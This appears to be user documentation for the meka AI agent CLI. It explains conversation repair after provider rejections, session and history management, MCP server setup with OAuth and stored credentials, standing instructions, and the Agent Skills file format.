meka repairs a rejection caused by content added since the last request the provider accepted, and repairs a mislabeled image on resume, but anything older than that needs rewinding past. That window is usually the current turn, and it reaches back into the previous one when a turn failed mid-tool-loop and left it unaccepted. A compaction widens it to the whole conversation, because a compaction replaces that conversation wholesale and nothing in the result has been accepted yet. The repair escalates: first it removes the attachments the turn added and leaves everything else alone, and only if that is refused as well does it empty the turn’s tool calls, moving each call’s arguments into the result that reports it and replacing the result’s body with an explanation. The second step exists because a tool result is usually text, which the first step cannot touch, and because a call’s own arguments can be what the provider objected to. A step the provider then accepts is not counted as spent, so the cheap one stays available if the turn is refused again later.
Neither step changes the shape of the conversation: a tool call stays a tool call and its result stays its result, marked as an error. That is deliberate. Removing one half of a pair is the one thing every provider refuses outright, so a repair that could do it might turn a recoverable rejection into a permanent one. The model sees a failed tool call, which it already knows how to read, with the arguments it sent quoted in the failure so it can tell which call not to repeat.
Nothing a repair removes is deleted. The log is append-only, so the superseded messages stay on disk and meka session export renders them above a marker saying what replaced them. Use --format json to get a removed attachment back: the markdown export writes each message as its text and leaves image blocks out. Only the conversation the model sees is changed.
Whatever is removed is restored untouched if the retry carrying it is refused too. That restore is what bounds the risk, and it bounds it only in that direction: each step spends a fresh retry sequence rather than a single request, and a step whose retry succeeds keeps the loss, so the trigger is deliberately narrow. The words you typed are never rewritten by either step, though an image you attached to that prompt is exactly what the first one removes, replacing it with a note. Notes meka inserts into a conversation are prefixed [meka harness].
Both steps run whether the provider answered 400 or spent every retry on a 5xx. A gateway in front of a model reports a payload its own decoder choked on as a server error, which is indistinguishable from being overloaded, so meka honors the retries in full and treats a refusal that outlives them as one the content may explain.
On the 5xx path it does one thing more before touching anything. The retry sequence is short by design (two attempts across three seconds of backoff), which an ordinary overload outlasts, so meka waits eight seconds and sends the same request one last time. If that succeeds the outage was the whole story and nothing is lost; if it fails too, the reading that the body is the problem has been earned rather than assumed. The wait is paid only by a turn that was otherwise about to start deleting things, and only once per run of consecutive failures: a request the provider accepts makes it available again, since a later refusal is about work the earlier wait never saw. A 400 skips it, because the provider has already read the body and said no.
Nothing outside those two shapes degrades at all, because a degraded retry that succeeds only because the network came back would keep the loss. Excluded, then: a dropped connection, which never delivered the request for anything to judge; a 429, which is a statement about rate rather than about what was sent; a failure that arrives partway through a stream, after some of the answer has reached you, both because re-sending would print it twice and because the stream cannot tell an overload from anything else; and anything at all once the retries have not been exhausted. If a step it did try does not help, it says so and points here before the turn fails.
One cause of that refusal has its own fix. A session recorded by 0.41 can hold a tool_result whose content is a bare JSON string, a shape meka does not read: the row is dropped as the session loads, which leaves the tool_use it answered unanswered, and the provider rejects the next turn over the mismatch. Run the one-shot upgrade script, which converts those rows in place, rather than rewinding past a turn you wanted to keep.
Deleting sessions
Delete specific sessions by id:
meka session delete 550e8400-e29b-41d4-a716-446655440000
Delete multiple sessions at once:
meka session delete 550e8400-e29b-41d4-a716-446655440000 a1b2c3d4-e5f6-7890-abcd-ef1234567890
Delete every session not updated in the last N days:
meka session delete --older-than-days 90
This is the manual counterpart to retention. It can’t be combined with ids or --all, and 0 is refused: it would match everything.
Delete all sessions:
meka session delete --all
--all takes no ids of its own: naming some sessions and then asking for every session are two
different requests, and it refuses rather than quietly doing the wider one.
Input history
Separate from your saved conversations, meka keeps a rolling history of the prompts you type at the REPL, so Up-arrow recall and Ctrl+R reverse-search work across runs (shell-style). This is distinct from a session (a stored conversation) and from the /history slash command (which reprints the current conversation).
List recent input-history entries (oldest first; -n 0 shows all), one per line, or as
{"history": [...]} with --format json:
meka history list
meka history list -n 100
meka history list --format json
Clear it entirely:
meka history clear
Managing sessions via SQLite
You can also manage sessions directly through the store’s SQLite file. For example, to list all sessions:
sqlite3 ~/.local/share/meka/meka.db \
"SELECT id, created_at, updated_at FROM sessions ORDER BY updated_at DESC;"
MCP
The Model Context Protocol is how meka reaches tools, resources and prompts it does not implement itself. A server is a process meka spawns or an HTTP endpoint it connects to; what it advertises is registered alongside the built-in tools and called the same way.
This page covers running servers: the command suite, where their secrets live, what happens on the wire, and what the agent can reach. The keys themselves are in the config file reference, which is also where tool permissions are resolved.
meka mcp CLI
Manage configured servers without editing config.toml by hand:
| Command | Action |
|---|---|
meka mcp list [--format json] | Print all configured servers, plus any stored OAuth credential that no server claims (see Leftover credentials). Under json, {"servers": [...]} with each server’s name, transport, required, disabled, and its permission, command, args or url where set. |
meka mcp get <name> [--format json] | Print full details for one server: the listing’s fields plus env_keys, header_keys, the kinds of credentials stored (never their values), credential_origin, auth, allowed_tools, disabled_tools and tool_permissions. |
meka mcp add <name> <url-or-command> [args...] [flags] | Persist a server. Transport is auto-detected: a URL starting with http[s]:// means HTTP, anything else means stdio. Preserves existing formatting/comments via toml_edit. |
meka mcp remove <name> | Best-effort revoke stored OAuth tokens (RFC 7009) at the provider, then delete the server entry, clear stored credentials, and drop any resource-update ledger entries. A name with stored credentials but no config entry is cleaned rather than refused. |
meka mcp disable <name> | Set disabled = true on the server entry. The next meka start skips it entirely. |
meka mcp enable <name> | Clear the disabled flag, so the server connects on the next start. |
meka mcp reconnect <name> | Smoke-test a connect; exits non-zero with the error when it fails. |
meka mcp tools <name> [--format json] | Connect and list every advertised tool with its resolved permission, the chain step that decided it, and whether the current config allows it. Useful for populating --allow-tool, --disable-tool, or --tool-permission overrides without leaving the CLI. Under json, the object GET /v1/mcp/{name}/tools answers with (server, tools[] of raw_name, description, required_permission, permission_source, allowed) plus read_only_hint_declined. |
meka mcp login <name> | Drive interactive OAuth. If the server has no [auth] block and uses HTTP, assumes type = "oauth" and persists the block on success. With --auth-token-stdin or --client-secret-stdin, stores that secret and exits instead, which is also how you rotate one. |
meka mcp logout <name> | Call the provider’s revocation_endpoint (RFC 7009) best-effort, then clear every stored credential for the server. |
Credentials
An MCP server’s bearer token, OAuth client secret and OAuth token bundle are kept in the store (mcp_credentials, keyed by server name and kind), never in config.toml. This is the same rule accounts follow, and for the same reason: config.toml is a plaintext file people commit, sync and share.
Each is read from stdin so it never reaches ps output or your shell history. One command reads one secret, so --auth-token-stdin and --client-secret-stdin cannot be combined:
$ pass show notion-token | meka mcp add notion https://mcp.notion.com/mcp --auth-token-stdin
$ pass show acme-secret | meka mcp login acme --client-secret-stdin
A confidential OAuth client holds two at once: the long-lived client secret it authenticates with, and the refreshable bundle it obtained. Store the secret first, then run meka mcp login <name> to complete the flow. Refreshing the bundle leaves the client secret alone.
meka mcp get <name> lists which kinds a server has, without printing any of them, and shows the origin an OAuth bundle was issued for as issued for: <scheme>://<host>[:port]. That flags the case a rotated url leaves behind: a bundle minted against the old host is still stored and still sent, so the line names a mismatch rather than letting the next call fail as a bare 401. meka mcp list names servers that have a stored credential but no [[mcp.servers]] entry, which is what a hand-edited config strands.
meka mcp add flags
| Flag | Purpose |
|---|---|
--transport <TRANSPORT> | Force the transport, stdio or http; auto-detected otherwise. |
--env <KEY=VALUE> | Environment variable for stdio (repeatable). |
--header <KEY=VALUE> | HTTP header (repeatable). |
--auth <AUTH> | Configure the [auth] block: oauth, client_credentials or client_credentials_jwt. |
--auth-token-stdin | Read a static bearer token from stdin and store it. Mutually exclusive with --auth. |
--client-secret-stdin | Read an OAuth client secret from stdin and store it. Required by --auth client_credentials. |
--client-id <CLIENT_ID> | OAuth or client_credentials client id. Not a secret, so it goes in config.toml. |
--signing-key <SIGNING_KEY>, --signing-algorithm <SIGNING_ALGORITHM> | JWT signing key path and algorithm (RS256, RS384, RS512, ES256, ES384), client_credentials_jwt only. |
--scope <SCOPE> | OAuth scope (repeatable). |
--redirect-port <REDIRECT_PORT> | Fixed OAuth redirect port (default: ephemeral). |
--permission <LEVEL> | Per-server permission cap, applied to every tool on the server: none, read, workspace or unrestricted (default: read). |
--allow-tool <TOOL> | Raw tool name to allow (repeatable). When set, only listed tools register. |
--disable-tool <TOOL> | Raw tool name to block (repeatable). Applied after --allow-tool. |
--eager-load-tool <TOOL> | Raw tool name to eager-load (repeatable). Listed tools skip the load_tool round-trip and ship in the cacheable tools-array prefix from turn 1. |
--tool-permission <TOOL=LEVEL> | Per-tool permission override (repeatable). LEVEL is none, read, workspace or unrestricted. |
--no-login | Skip the auto-login an HTTP server’s probe would otherwise start; run meka mcp login <name> later. |
--required | Persist required = true, so a turn is refused while this server is not connected. Omitted, the server inherits [mcp].default_required and is optional by default. |
--disabled | Persist disabled = true, so the server is skipped entirely at startup. Re-enable with meka mcp enable <name>. |
Example: Notion
These signposts are info logs, so they need -v; at the default warn level the command
succeeds silently and the exit code carries the result. Timestamps and targets are elided here.
$ meka -v mcp add notion https://mcp.notion.com/mcp
added 'notion' to ~/.config/meka/config.toml
probe: 'notion' requires OAuth
running OAuth authorization for 'notion' (use --no-login to skip)
no [auth] block for 'notion'; assuming OAuth authorization_code
…
authorized 'notion'
meka mcp add on an HTTP endpoint:
-
Probe: issues an unauthenticated
GET(3 s timeout, redirects off) and classifies the response per the MCP authorization spec + RFC 6750 + RFC 9728:2xx→ server is open, no login needed.401/403withWWW-Authenticate: Bearer …→ OAuth required. Theresource_metadata="…"attribute (RFC 9728) is captured at DEBUG.- Any other status → couldn’t infer, prints the status code.
- Network failure → prints the error.
-
Auto-login: if the probe says OAuth is required (or
--auth oauthwas explicitly set), the OAuth authorization_code flow runs immediately as though the user had chainedmeka mcp login <name>themselves. The synthesized[auth] = oauthblock is written back toconfig.tomlon success. -
Rollback on failure: if the OAuth flow errors out, the entry we just wrote is purged from
config.toml(alongside any partial credentials), leaving the user’s config clean. The command exits non-zero. -
--no-login: skips step 2. The entry is still persisted and the probe’s hint is still printed; runmeka mcp login <name>when ready. Useful for scripted setup or when you expect to edit[auth]by hand.
The probe and the auto-login only run for HTTP servers, and only when the user didn’t provide --auth-token-stdin (static bearer) or --auth (other than oauth). Stdio servers skip both.
Only meka mcp login runs the browser flow. A host that connects a server and finds no stored credential (the REPL at startup, meka serve, meka acp, /mcp reconnect) marks it failed and names meka mcp login <name> as the remedy, rather than printing a URL to a terminal nobody may be watching.
Remote hosts / SSH sessions
The OAuth flow redirects the browser to http://127.0.0.1:<port>/callback. When meka is running on a different host than the browser (SSH session, container, Codespace, WSL), the browser can’t reach back and shows a “connection refused” error page. meka handles this automatically:
- While
meka mcp login <name>waits for the callback it also watches stdin. - The browser’s address bar still contains the full callback URL (including
codeandstate) even when the connection fails. Copy it, paste it into the meka prompt, and press Enter. - Whichever completes first, the TCP callback or the pasted URL, wins.
meka prints the URL exactly once and leaves opening it to you, so the flow is the same on a desktop
and over SSH. The authorized line is an info log, shown here with -v.
$ meka -v mcp login notion
To authorize, open this URL in your browser:
https://mcp.notion.com/authorize?response_type=code&…
Waiting up to 120s for the callback, or paste the callback URL here and press Enter:
http://127.0.0.1:46437/callback?code=…&state=… ← paste here
authorized 'notion'
REPL parity
Inside the REPL:
/mcp list(or a bare/mcp): list configured servers./mcp reconnect <server>: reconnect smoke-test./mcp login <server>//mcp logout <server>: run the auth flow or revoke./mcp <server>:<prompt> [args...]: render a server-defined prompt as the next user turn.
Resources and prompts
In addition to tools, meka exposes MCP resources and prompts through several builtin tools (deferred: the agent calls load_tool first to fetch the schema, then invokes them):
| Builtin | Purpose |
|---|---|
mcp_resource_list | List resources from one or every configured server. |
mcp_resource_read | Read a resource by server + uri; text inline, binary base64-encoded. |
mcp_prompt_list | List prompts from one or every configured server, including their declared arguments. |
mcp_prompt_get | Render a prompt by server + name with optional arguments; returns <role>: <text> lines. |
mcp_resource_subscribe | Subscribe to resources/updated notifications for a specific URI. |
mcp_resource_unsubscribe | Cancel a prior subscription. |
mcp_resource_updates_list | Print every resource that has been reported as updated since the session started. |
Startup concurrency
MCP servers connect in parallel at startup, partitioned by transport so a fleet of stdio servers (process-spawn bound) doesn’t fight a fleet of HTTP servers (network bound):
- stdio:
[mcp].stdio_concurrency(default3) - http:
[mcp].http_concurrency(default20)
Both are tuning knobs: rarely needed, but useful if you’re running ~30 stdio servers on a constrained box (lower it) or ~50 HTTP servers (raise it). 0 is refused at startup.
Connection lifecycle
- Reconnection is automatic for all transports (stdio, plain HTTP, OAuth-authenticated HTTP) when the transport closes mid-session. HTTP transports use exponential backoff (1s, 2s, 4s, 8s, 16s, capped 30s, max 5 attempts); stdio gets one immediate retry. The reconnect runs on a blocking thread to work around an upstream rmcp bug where the auth future is
!Send. - Failed initial connect is retried in the background with its own backoff (5s doubling to a 5 minute ceiling) until the server comes up, and the server’s tools are registered into every live session when it does. A server that is slow to boot, or that starts after meka, therefore recovers on its own rather than staying
failedfor the life of the process. This matters most for arequiredserver, where every turn is refused until it connects. - Session-expired recovery: rmcp transparently re-initializes HTTP sessions on 404 / JSON-RPC
-32001. meka relies on this; no per-call handling is required. - Cancellation: when the agent cancels a tool call (e.g. Ctrl-C), meka sends
notifications/cancelledto the server with the in-flight request id so the server can stop work. - Timeouts: tool calls default to 10 minutes; override with
MEKA_MCP_TOOL_TIMEOUT, a duration such as20m. - Tool list refresh: on
tools/list_changed, meka re-discovers the server’s tools and hot-swaps them in the registry; no restart needed. - Progress notifications: MCP tool calls attach a per-request
progressToken; incomingnotifications/progressrender as a live status line under the tool invocation. - Call identity:
tools/callcarries two extra keys in_metaalongside the progress token.meka/sessionIdis the id (a UUID) of the session the call came from, letting a server scope per-session state (a cache, a workspace, an audit trail) to one conversation; a sub-agent reports its own child session id.meka/toolUseIdis the provider’s tool-use id for the call. Both are absent for calls made outside a session, such as connection-time handshakes. - Server instructions:
InitializeResult.instructionsis captured once per connection and delivered in the per-turn context (sanitized and truncated to 2048 chars) under[MCP server instructions]. A server that connects late, or reconnects with different instructions, is announced as a change rather than rewriting anything already sent. - stdio server logs: a stdio server’s own stderr (many servers log there) is captured, not inherited, so it never corrupts the REPL display. Each line is re-emitted on meka’s
tracingstream atdebuglevel tagged with the server name, so it stays silent at default verbosity and surfaces under-v/RUST_LOG. resources/list_changed,prompts/list_changed, andresources/updatednotifications are logged atinfo/debuglevel.
Server-to-client features
| Feature | meka behavior |
|---|---|
elicitation/create | Routed to the calling session’s frontend (REPL / ACP form or URL prompt) with a 60s timeout. Auto-declines when no in-flight tool call’s frontend is registered or the user doesn’t answer in time. |
Instructions
Standing instructions are your own guidance to the agent, applied to every session on this machine. They land in the system prompt under a ## User Instructions heading, and the model is told to treat them as hard constraints unless they conflict with safety requirements.
Use them for things that are true of your setup rather than of any one task:
- System policies: “Never install Python packages globally with pip. Always use
uvor a venv.” - Installed tooling worth knowing about: “Poppler is available; use
pdftotextfor PDFs.” - Workflow preferences: “Prefer ripgrep over grep.”
- Compliance rules: “Git commits on this system must be gpg-signed.”
Where they live
Instructions are content, not configuration, so they live at a conventional path beside config.toml rather than behind a key inside it. Write:
~/.config/meka/instructions.md
If the set grows, split it into a directory instead. Every *.md file is concatenated in lexical order, so a numeric prefix controls the sequence:
~/.config/meka/instructions/
├── 00-style.md
├── 10-security.md
└── 20-tooling.md
The directory wins when it has content, so splitting a grown instructions.md is a rename rather than a migration. An empty instructions/ falls back to the file rather than blanking your instructions. Under a custom MEKA_CONFIG_DIR, both paths follow it.
Check what is actually in effect at any time:
meka instructions show # the resolved text, plus where it came from
meka instructions path # the paths meka checks, and whether each exists
show prints the text on stdout and the source on stderr, so meka instructions show 2>/dev/null pipes cleanly.
Passing them as a string
A file is the right shape on a workstation, but not everywhere. When the channel carrying the value is a string rather than a filesystem, use one of:
| Source | Form | |
|---|---|---|
--instructions | text | per-run, wins over everything |
MEKA_INSTRUCTIONS | text | |
MEKA_INSTRUCTIONS_FILE | path | |
instructions.md / instructions/ | file | the default |
Resolution stops at the first one set, in that order.
This matters most for containers. The mekabox wrapper mounts your config directory into the container read-only and then replaces the instructions with container-specific ones, which is a single -e MEKA_INSTRUCTIONS=…. Requiring a path would mean writing a temp file on the host and bind-mounting it, and the read-only mount means it could not simply write the file where meka looks.
MEKA_INSTRUCTIONS_FILE covers the case where a file exists but you do not control where it is mounted, such as a Kubernetes ConfigMap or a Docker secret. It accepts a directory too, since a ConfigMap mounts as a directory of keys, and in that case takes any regular file rather than only *.md: a ConfigMap key is often just instructions, and a naming choice made in someone else’s YAML should not become a startup failure inside a pod.
Setting MEKA_INSTRUCTIONS= to the empty string means “no instructions”, suppressing the file rather than falling through to it. That is the way to run a container with your host instructions mounted but not applied.
Setting both environment variables is refused at startup. There is no reading under which someone meant both, so resolving one silently would hide the mistake until the agent behaved unexpectedly.
When they are read
Once, at startup. Editing takes effect on the next launch, not mid-session.
That is deliberate, and it follows from size. The system prompt heads the prompt-cache prefix, so a large instruction set is billed once and served from cache on every later turn. Re-reading it per turn would either invalidate that prefix whenever the file changed, or push the text down into the conversation where it would compete with actual context.
This is the opposite of skills and memory, which do refresh mid-session. They can afford to: both are indexed rather than included in full, and the index is small.
meka -c makes restarting cheap when you do edit them.
Notes
- Empty or whitespace-only instructions are treated as unset.
- Sub-agents do not receive them by default. Instructions describe the root agent, and a sub-agent handed one task by one of its turns is not that agent; inheriting the persona is how a sub-agent ends up addressing the user as though it were the one they are talking to. The agent can pass
instructions: "inherit"toagent_spawnwhen a task genuinely needs the project’s standing rules, or pass a skill when the direction is reusable. - They apply at every permission level, including
none, because you wrote them. - A set larger than roughly 8k tokens logs a warning at startup. It still works, and it is cached, but it occupies that much of every request’s window and is usually a surprise rather than a decision.
- An unreadable file in a directory is skipped with a warning rather than hiding the rest of it. A path you named explicitly via
MEKA_INSTRUCTIONS_FILEis an error instead, since running without guidance you believe you supplied is worse than not starting. - A directory contributes at most 100 files; past that it is far more likely pointed somewhere unintended than intentional, so the rest are skipped with a warning.
Skills
Skills are knowledge packages that give the agent non-standard knowledge: manuals, procedures, tool-specific instructions, and experience the LLM doesn’t have natively. Each skill is a directory containing a SKILL.md file with structured metadata.
meka implements the Agent Skills specification, so a skill written for meka works in other compliant clients and vice versa, and a skill meka writes passes the ecosystem’s own skills-ref validate.
Skills are normally authored by you. An agent can also be allowed to write its own; see Letting the agent manage skills, which is off by default.
How skills work
- Skills live in
~/.config/meka/skills/(platform-specific config dir). Additional read-only directories can be added withextra_paths. - Each skill is a directory:
skills/<name>/SKILL.md. A lowercaseskill.mdis accepted too. - Any entry whose name begins with
.is skipped at discovery. This covers VCS metadata (.git), editor/IDE state (.vscode,.idea), filesystem artifacts (.DS_Store,.Trash), and any other dotfile or dotdir that may sit alongside your skills. SKILL.mdstarts with a YAML frontmatter block declaring the skill’s metadata, followed by Markdown body content.- On every prompt, meka discovers all valid skills and lists them in the per-turn context with their
description. - The agent invokes a skill by calling the
skill_readtool with the skill name. The tool returns the full body, which the agent follows. skill_searchgreps the full text of every installed skill, for when the one-line descriptions are not enough to tell which skill covers something.- Skills are available at read, workspace and unrestricted (not at none).
- The whole subsystem can be switched off with
[skills] enabled = false, which keeps the skill tools’ schemas out of every request and stops the skills section from rendering.
File format
A skill is a directory under ~/.config/meka/skills/ containing a SKILL.md file:
~/.config/meka/skills/
└── download-videos/
└── SKILL.md
SKILL.md must begin with a YAML frontmatter block, followed by the skill body:
---
name: download-videos
description: Download videos from various websites using yt-dlp. Use when the user wants a video off a URL.
metadata:
author: John Doe <john.doe@example.com>
version: "1.0"
---
# Download videos with yt-dlp
## Installation
Install yt-dlp:
\```bash
pip install yt-dlp
\```
## Basic usage
Download a video:
\```bash
yt-dlp "https://example.com/video"
\```
Required frontmatter fields
| Field | Constraints |
|---|---|
name | 1-64 characters, lowercase alphanumerics and hyphens; no leading, trailing or consecutive hyphens. Must match the directory name. “Alphanumeric” is Unicode-wide, as the spec and its reference validator define it, so a non-Latin name is valid. |
description | 1-1024 characters. What the skill does and when to invoke it. Shown to the model in the per-turn context, so fold the trigger condition into this one line. |
A skill is skipped, and the reason reported, when it breaks a rule the spec states about its identity: a directory name outside the rules above, a name that disagrees with its directory, or a missing description. meka implements the Agent Skills specification, so a directory it cannot read as a conforming skill is not a skill it has, and saying so beats listing something no other client would accept.
A skip is not silent. It appears in the [Skills] index the agent reads, in skill_read, in meka skill get, and in a warning on startup, each naming the directory and the reason. The directory stays where it is, so renaming it is all that is needed.
Everything else loads: an over-long description (warned, since refusing would take the procedure with it), and frontmatter keys the spec does not define.
A name containing characters meka cannot render (a newline, a zero-width space) is refused by the same rule, and additionally cannot be reached by meka skill remove: the name meka would echo back is a different directory, which may itself exist. Rename it in a shell.
Keys meka does not model are kept, not dropped. A skill carrying Claude Code’s when_to_use, or a source_url naming where it was fetched from, still has them after an agent edits its description.
Frontmatter that is not valid YAML is not repaired. The client guide suggests quoting unquoted prose colons (description: Extract text. Use when: the user mentions PDFs) as a fallback, and meka deliberately does not: the reference implementation does no repair either, one repair rule is an arbitrary pick out of the many ways YAML can be malformed, and a file meka silently fixed on the way in is one that keeps working here and nowhere else. The skill is skipped instead, and said so out loud with the parser’s own line and column. Fix the file once and every client can read it.
Optional frontmatter fields
| Field | Description |
|---|---|
license | The skill’s license, as a name or a reference to a bundled file. Informational. |
compatibility | Up to 500 characters naming what the skill needs from its environment (Requires Python 3.14+ and uv). Shown to the model when the skill is activated, since it changes how the instructions should be carried out. |
allowed-tools | Tools the skill would like pre-approved. meka reads and preserves this but never acts on it; see Why allowed-tools is ignored. Written as a space-separated string; a YAML list or a bare number is read too, rather than costing you the skill. |
metadata | A map of extra properties. Where anything the spec has no field for belongs. |
Metadata keys
The spec reserves metadata for properties it does not define, and meka carries the whole map through untouched, including keys it has no meaning for, so a skill written elsewhere survives being edited here.
That includes values that are not strings. The spec describes a map of string to string, but skills in the wild carry lists and nested maps under metadata, and an edit here keeps them as they were:
metadata:
tags: [pdf, forms] # still a list after an agent rewrites the description
origin:
repo: example/skills # still a map
meka renders such a value as text where it needs one (meka skill list, meka skill get), but the file keeps the original.
metadata itself must be a map, though. A skill whose metadata: is a string or a list still loads, lists and reads normally, but rewriting it is refused: meka would have nowhere spec-legal to record meka-priority or author, and doing something other than what the caller asked without saying so is worse than declining. Fix the file, or write to a different name.
| Key | Default | Description |
|---|---|---|
author | none | Attribution, conventionally Name <email>. The spec’s own example key. Informational only. |
version | none | Free-form version label (e.g. "1.0", "2024-03-14"). The spec’s own example key. |
meka-priority | 5 | Listing rank 0-9, lower first. Orders the [Skills] index and decides which skills its cap drops. Not shown to the model; see How the agent uses skills. |
meka-priority carries a prefix because it is meka’s own concept and the spec has nothing like it; another client could reasonably read a bare priority the opposite way round. author and version do not, because the spec demonstrates exactly those keys.
Frontmatter written before the spec
A SKILL.md written before meka followed the spec carries author, version and priority at the top level of the frontmatter, where the spec has no place for them. The one-shot upgrade script moves all three under metadata:, and the three are not equally optional:
authorandversionkeep their names, and meka reads either spelling permanently (see below), so moving them changes nothing but tidiness.priorityis renamed tomeka-priorityas it moves, because that is the key a rank is read from and there is no other. A top-levelpriority:left where it is, or hand-moved undermetadata:under its own name, is a key nothing reads: the skill takes the default rank of 5, the[Skills]index comes out in a different order, its cap drops different skills, and nothing says so. This is the part of the move that has to happen.
meka does not rewrite a file it is only reading, so a skill it never writes to keeps the frontmatter you gave it until the script runs.
Reading a top-level author or version is permanent, not a transition. Claude Code’s plugin skills declare version at the top level, and the skill that documents skill authoring tells authors to put it there, so a reader that looked only under metadata: would print a dash for a version the file plainly states. meka reads both spellings and writes only the spec’s, which is what lets the move be a script you run once rather than something the binary does to your files behind your back.
Why allowed-tools is ignored
allowed-tools is experimental in the spec, and the spec itself notes that support varies. meka parses it, preserves it across a rewrite, and shows it in meka skill get, but never grants anything from it. The spec defines the field as a space-separated string and that is what meka writes, so a skill that spelled it as a YAML list comes back joined: [Read, Bash] becomes Read Bash.
Two things meka does not preserve across a rewrite, both worth knowing before you hand-edit a SKILL.md that meka will later write to:
- A joined
allowed-toolsentry containing a space cannot be told apart from two entries.["Bash(git diff:*)", "Read"]comes back asBash(git diff:*) Read, which no longer says where one entry ends. Prefer the spec’s string form for these. - Comments in the frontmatter block are dropped. The header is rebuilt through a YAML serializer, which does not carry them. Keys, values and nested structure all survive;
# notesbeside them do not. Put anything you need to keep in the body, which is passed through untouched.
A skill file is content, and content does not get to widen what the agent may run. meka’s permission level is the authority for that, and a SKILL.md dropped into the skills directory (or synced from a repository, or written by an agent) must not be able to pre-approve Bash(rm:*) on its own say-so.
Referencing bundled files
Refer to files bundled alongside SKILL.md by relative path (e.g. scripts/helper.sh). Every skill body is prefixed with a header naming the skill’s directory (see How the agent uses skills), so relative paths resolve against the skill rather than against the session’s working directory.
The body is passed to the model verbatim; meka does not rewrite anything inside it. Keeping skills free of host-specific placeholders is what lets the same SKILL.md run under meka and other Agent Skills hosts unchanged.
Storage location
| Platform | Path |
|---|---|
| Linux | ~/.config/meka/skills/<name>/SKILL.md ($XDG_CONFIG_HOME/meka/skills/) |
| macOS | ~/Library/Application Support/meka/skills/<name>/SKILL.md |
| Windows | %APPDATA%\meka\skills\<name>\SKILL.md |
This is the only directory meka ever writes to. It is created the first time something is written there, not at startup.
Reading skills from other directories
[skills] extra_paths adds directories to scan. They are read-only: meka never creates them and never writes into them, so listing one costs nothing if it does not exist.
[skills]
extra_paths = ["~/.agents/skills", "~/src/team-skills/skills"]
~ is expanded. A relative path resolves against the process working directory.
The default is empty. ~/.agents/skills has emerged as a cross-client convention, so pointing at it makes skills installed by other Agent Skills clients visible to meka, but whether to read a directory outside meka’s own namespace is your decision rather than a default.
Precedence. meka’s own store is searched first, then each extra_paths entry in order. When two directories hold the same skill name, the first wins and the shadowed one is logged.
Writes never follow. skill_write, skill_delete, meka skill add, meka skill remove, PUT /v1/skills/{name} and DELETE /v1/skills/{name} all target meka’s own store. Asked to write a name that resolves to a skill in a read-only root, they refuse, because writing would create a second copy that shadows the original instead of changing it; the refusal says to edit or remove it where it lives, and the CLI names the directory. This holds whether or not the file there is valid: a directory whose SKILL.md does not parse still claims that name, and shadowing a broken skill is the case worth refusing hardest, since nothing then reports the original at all.
There is deliberately no automatic project-level scan. meka does not treat the working directory as trusted anywhere else either, and a cloned repository that could silently add instructions to the agent’s context would be exactly that. Name a project’s skills directory in extra_paths if you want it read.
Listing skills
meka skill list shows a fixed set of columns, so output stays parseable when piped:
$ meka skill list
Name Author Priority External Description
deploy-service Jane Doe 2 no How to deploy the service. Use when asked to ship.
borrowed - 5 yes A skill another client installed.
External is yes for a skill found under extra_paths rather than in meka’s own store. It is always present, even when nothing is external, so a script’s field offsets do not shift with the store’s contents.
--paths adds the on-disk Path, which is how you find out where an external skill lives. Nothing else goes in this table: license, compatibility, allowed-tools, version and arbitrary metadata keys are per-skill detail, and meka skill get <name> prints all of them.
--format json prints {"skills": [...]}, each with the fields GET /v1/skills uses (name, description, priority, version, author, compatibility) plus external and source_dir, whether or not --paths was given. meka skill get <name> --format json prints one object with every frontmatter field, source_dir, body_path, metadata and the unmodeled extra keys; show --format json adds body, the text the agent receives.
How the agent uses skills
When skills are available, the per-turn context includes a [Skills] section like:
[Skills]
- **download-videos**: Download videos from various websites using yt-dlp. Use when the user wants a video off a URL.
- **deploy-kubernetes**: Deploy services to a K8s cluster. Use when the user asks to deploy to Kubernetes.
The list is sent once, not on every turn. Adding, editing, or removing a skill mid-session is picked up on the next prompt and announced as a short note naming just what changed, so a long session doesn’t pay for the whole list repeatedly.
A skill directory that could not be loaded is named there too, with the reason:
1 directory in your skills path could not be loaded, so it is unavailable and cannot be invoked:
- **deploy-kubernetes**: invalid frontmatter: mapping values are not allowed here
This is the counterpart to the same paragraph in [Memory], and it exists because the log is not a channel the agent can read. From inside a session an unparseable SKILL.md is otherwise indistinguishable from a skill nobody wrote: the index omits it, so the agent has no reason to ask for it by name, and whoever dropped the file in goes on believing the procedure is in force. Naming it lets the agent tell you rather than improvise a replacement. It appears and disappears with the file, so repairing the frontmatter is announced too.
Skills are listed in meka-priority order, lowest first, with the name breaking ties. The index is capped at 200 entries and 8 KiB; anything past that is replaced by a count and a pointer to skill_search, so a large skill store degrades into “search me” rather than silently eating the context window. The rank itself is not rendered: a skill should be invoked because the request matches its stated purpose, not because it outranks another one.
The agent loads a skill by calling the skill_read tool:
skill_read(name: "download-videos")
The tool returns the full body of SKILL.md as its output. The agent then follows the instructions.
Whenever a skill body is loaded (by the skill_read tool, --skill, /skill, agent_spawn, or meka skill show), it is prefixed with a header naming the skill’s directory:
Base directory for this skill and its bundled files: /home/user/.config/meka/skills/download-videos
This is what lets the agent locate files bundled alongside SKILL.md when the body refers to them by relative path (e.g. scripts/helper.sh).
A skill that declares compatibility gets a second line, since what the skill needs from its environment changes how its instructions should be carried out:
Environment this skill expects: Requires Python 3.14+ and uv
Running a skill in a sub-agent
The agent can delegate a skill to a sub-agent by passing the skill parameter to the agent_spawn tool. The sub-agent runs the skill in its own fresh context and returns a report, keeping the skill’s instructions out of the parent’s conversation:
agent_spawn(skill: "summarize-financial-news")
agent_spawn(skill: "summarize-financial-news", prompt: "focus on UK markets")
prompt is optional when skill is given; if both are supplied, prompt is prepended to the skill body as extra direction (the same ordering as meka --skill <name> -p <prompt>).
A skill is the reusable unit of sub-agent instruction. Sub-agents do not receive the instructions file unless the spawn call asks for it, since it describes the root agent rather than a sub-agent, so a skill is usually the better way to give a sub-agent standing direction.
Invoking a skill from the CLI
Any skill can be triggered directly from the command line with --skill <name>. The rendered body becomes the first user turn, and meka drops into the REPL after the turn finishes:
meka --skill download-videos -p "https://example.com/video"
-p, if given, is prepended to the skill body as extra context (equivalent to typing /skill download-videos https://example.com/video in the REPL).
To run the skill and exit immediately (useful for scripts), pair with --oneshot:
meka --oneshot --skill download-videos -p "https://example.com/video"
To invoke a skill mid-session inside the REPL, use the slash command instead:
/skill download-videos
/skill download-videos this URL specifically
meka skill CLI
meka skill list, get, show and remove are described above; meka skill add scaffolds a new
skill at ~/.config/meka/skills/<name>/SKILL.md from a template:
meka skill add deploy-service --description "How to deploy the service. Use when asked to deploy." --priority 2
